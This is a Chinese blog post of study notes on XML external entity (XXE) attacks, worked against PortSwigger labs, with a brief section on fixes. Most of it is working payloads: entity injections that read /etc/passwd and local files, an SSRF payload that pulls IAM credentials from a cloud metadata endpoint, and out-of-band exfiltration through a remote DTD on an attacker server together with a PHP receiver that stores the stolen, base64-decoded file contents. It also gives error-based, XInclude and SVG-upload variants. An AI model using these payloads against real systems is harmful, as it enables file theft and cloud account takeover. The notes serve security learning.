【Web攻防-18】XML&XXE&无回显带外&SSRF元数据&DTD实体&OOB带外盲注&文件拓展

详细点

XML的概念

XML被设计为传输和存储数据,XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素,其焦点是

数据的内容,其把数据从HTML分离,是独立于软件和硬件的信息传输工具。等同于JSON传输。

一般格式:
姓名:张三
年龄:30岁
性别:男
职业:软件工程师
联系方式:
电话:13800138000
邮箱:zhangsan@example.com
爱好:篮球、编程、旅行
​
json格式:
{
"person": {
  "name": "张三",
  "age": 30,
  "gender": "男",
  "occupation": "软件工程师",
  "contact": {
    "phone": "13800138000",
    "email": "zhangsan@example.com"
  },
  "hobbies": ["篮球", "编程", "旅行"]
}
}
​
XML格式:
<person>
<name>张三</name>
<age>30</age>
<gender>男</gender>
<occupation>软件工程师</occupation>
<contact>
  <phone>13800138000</phone>
  <email>zhangsan@example.com</email>
</contact>
<hobbies>
  <hobby>篮球</hobby>
  <hobby>编程</hobby>
  <hobby>旅行</hobby>
</hobbies>
</person>

XML与HTML 的主要差异:

XML 被设计为传输和存储数据,其焦点是数据的内容。

HTML 被设计用来显示数据,其焦点是数据的外观。

HTML 旨在显示信息 ,而XML旨在传输存储信息。

XXE漏洞

XXE漏洞XML External Entity Injection,即xml外部实体注入漏洞:XXE漏洞发生在应用程序解析XML输入时,没

禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网扫描、攻击内网等危害。

不受语言影响


XXE修复防御方案:

方案1-禁用外部实体

PHP:
libxml_disable_entity_loader(true);
​
JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();dbf.setExpandEntityReferences(false);
​
Python:
from lxml import etreexmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

方案2-过滤用户提交的XML数据

过滤关键词:<!DOCTYPE和<!ENTITY,或者SYSTEM和PUBLIC


漏洞利用(分类)

有回显:

文件读取

靶场(burp官方靶场):https://portswigger.net/web-security/xxe/lab-exploiting-xxe-to-retrieve-files

尝试使用xml注入读取/etc/passwd

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck>

SSRF&配合元数据

条件:存在XXE注入的云服务器应用

影响:获取云服务器的相关账户配置信息 – 结合云安全 – 元数据利用(不同厂商不影响)

靶场:https://portswigger.net/web-security/xxe/lab-exploiting-xxe-to-perform-ssrf

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin"> ]>
<stockCheck><productId>
&xxe;
</productId><storeId>1</storeId></stockCheck>

首先请求http://169.254.169.254,然后通过回显一级一级加到http://169.254.169.254/latest/meta-data/iam/security-credentials/admin

取得相关配置信息:

可以通过accesskey接管服务器

无回显

SSRF-外部引用实体dtd:

解决 过滤&无回显 问题

类似于文件包含的远程文件包含漏洞

远程加载一个 .dtd文件,.dtd文件做一个读取/d:/x.txt的操作

<?xml version="1.0" ?>
<!DOCTYPE test [
  <!ENTITY % file SYSTEM "http://xiaodi8.com/file.dtd">
  %file;
]>
<user><username>&send;</username><password>xiaodi</password></user>
file.dtd
<!ENTITY send SYSTEM "file:///d:/x.txt">
​

当然,如果没有过滤&有回显等确实可以本地读取

外部引用实体dtd配合带外

关闭回显 – 不代表没有漏洞

无回显 – 先判断有没有漏洞 – 带外查询dnslog(http://x.x.x.x为dnslog地址)

<?xml version="1.0" ?>
<!DOCTYPE test [
  <!ENTITY % file SYSTEM "x.x.x.x">
  %file;
]>
<user><username>&send;</username><password>xiaodi</password></user>

有记录说明存在xxe且无回显 -> 文件读取带外

payload:

<?xml version="1.0"?>
<!DOCTYPE ANY[
 <!ENTITY % file SYSTEM "file:///c:/c.txt">       <!-- 定义参数实体%file(%开头表示参数实体),读取本地c.txt文件 -->
 <!ENTITY % remote SYSTEM "http://x.x.x.x/test.dtd"> <!-- 定义参数实体%remote,加载远程DTD -->
 %remote;                                         <!-- 执行%remote,加载test.dtd内容 -->
 %all;                                             <!-- 执行远程test.dtd中定义的%all实体 -->
]>
<user>
 <username>&send;</username>                      <!-- 引用send实体触发HTTP请求 -->
 <password>123456</password>
</user>

自己服务器上的test.dtd

<!ENTITY % all "<!ENTITY send SYSTEM 'http://x.x.x.x/get.php?file=%file;'>"> <!-- 定义参数实体 %all。嵌套实体 send 会向攻击者的服务器发送HTTP请求,并将 %file(即c.txt内容)作为URL参数。 -->

自己服务器上的get.php

<?php
$data=$_GET['file']; // 获取URL中的file参数(即c.txt内容)
$myfile = fopen("file.txt", "w+");
fwrite($myfile, $data); // 将窃取的内容写入file.txt
fclose($myfile);
?>

test.dtd -> %all -> send -> get.php?file=%file -> file:///c:/c.txt

http://x.x.x.x?get.php?file=读取到的文件内容

遇到的问题:

  • Windows系统下UTF-8文件包含BOM头(EF BB BF)
  • BOM头在URL中显示为(零宽空格)
  • 导致构造的URL无效,读取后写入不到文件

解决办法:进行base64编码再解码

payload

<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/c.txt">
<!ENTITY % remote SYSTEM "http://x.x.x.x/test.dtd">
%remote;
%all;
]>
<user><username>&send;</username><password>123456</password></user>

自己服务器-test.dtd

<!ENTITY % all "<!ENTITY send SYSTEM 'http://x.x.x.x/get.php?file=%file;'>">

自己服务器-get.php

<?php
$data = $_GET['file'];
// 替换空格为加号(解决URL传输问题)
$data = str_replace(' ', '+', $data);
// Base64解码
$decoded = base64_decode($data);
$myfile = fopen("file.txt", "w+");
fwrite($myfile, $decoded);
fclose($myfile);
?>

最后自己服务器上成功写入file.txt文件,其中有受害者服务器的c.txt内容

外部引用实体dtd配合错误解析

类似于sql注入的报错注入

条件:代码层面需要做容错处理,才能利用

尝试加载不存在的路径时,会报错,并且把之前的结果显示出来

靶场:https://portswigger.net/web-security/xxe/blind/lab-xxe-with-data-retrieval-via-error-messages

dtd文件

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'file:///invalid/%file;'>">
%eval;
%exfil;

payload

<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "https://exploit-0ab2006f03dce8a4803dfde101f3007d.exploit-server.net/exploit"> %xxe;]>

其中,靶场提供了类似于攻击者的服务器,存放类似于dtd的代码


升级拓展:

xinclude利用

一些应用程序接收客户端提交的数据,在服务器端将其嵌入到XML文档中,然后解析该文档,所以利用xinclude嵌套进去执行

例:不是发整体,而是发局部

<?xml version="1.0" encoding="UTF-8"?>
<stockCheck>
<productId>1</productId>
<storeId>2</storeId>
</stockCheck>

如果当传参 ?productId=1&storeId=123 时,只是改变了其上的1 和 2,此时传入错误的payload会导致结构出问题,所以要使用xinclude进行嵌套

<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>

最终结构:

<?xml version="1.0" encoding="UTF-8"?>
<stockCheck>
<productId><foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>
</productId>
<storeId>2</storeId>
</stockCheck>

靶场:

https://portswigger.net/web-security/xxe/lab-xinclude-attack

查看数据包,好像并不符合xml的格式信息

但是,使用xinclude进行盲测,将参数值进行替换,发现xxe成功了

漏洞挖掘思路:xml格式信息 -> 必测,大概率出现xxe ; 其他格式 ->选择性测试,小概率出现

SVG图像解析(docx等)

文件上传造成xxe

一些应用程序接收解析文件,如将xml代码结果输出解析为svg图片,可以使用基于XML的格式的例子有DOCX这样的办公文档格式和SVG这样的图像格式进行测试

本地创建一个svg文件,写入以下内容,解析读取/etc/passwd

<?xml version="1.0" standalone="yes"?><!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd" > ]><svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"><text font-size="16" x="0" y="16">&xxe;</text></svg>

靶场: https://portswigger.net/web-security/xxe/lab-xxe-via-file-upload

漏洞发现:

  • 基于XML的Web服务: SOAP、REST和RPC API这些接收和处理XML格式
  • 导入/导出功能: 任何以 XML 格式传输数据的进出口
  • RSS/Atom 订阅处理器: 订阅功能也可能隐藏着 XXE 漏洞。
  • 文档查看器/转换器: 处理DOCX、XLSX等XML 格式文档的功能将docx文档修改后缀为.zip,发现相关配置文档,插入payload在格式处理时可能会转换触发
  • 文件上传处理 XML: 比如SVG图像处理器,上传图片也可能中招

非xml格式数据包xxe

不符合数据包条件的 -> 强制修改测试,不知道会不会用xml解析


漏洞发现:

XXE黑盒发现:

两类:

  • 数据包的测试
  • 功能点的测试

获取得到Content-Type或数据类型为xml时,尝试xml语言payload进行测试

不管获取的Content-Type类型或数据传输类型,均可尝试修改后提交测试xxe

XXE不仅在数据传输上可能存在漏洞,同样在文件上传引用插件解析或预览也会造成文件中的XXE Payload被执行

XXE白盒发现:

  • 可通过应用功能追踪代码定位审计
  • 可通过脚本特定函数搜索定位审计
  • 可通过伪协议玩法绕过相关修复等

SRC报告

https://mp.weixin.qq.com/s/5iPoqsWpYfQmr0ExcJYRwg

将数据包base64解码发现是svg格式的,可以尝试xxe

利用svg图像解析造成xxe


本节知识点

WEB攻防-XML&XXE-注入原理&四大分类

WEB攻防-XML&XXE-文件读取&SSRF&实体引用

WEB攻防-XML&XXE-无回显&升级拓展&挖掘思路

十二亿七千光年
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇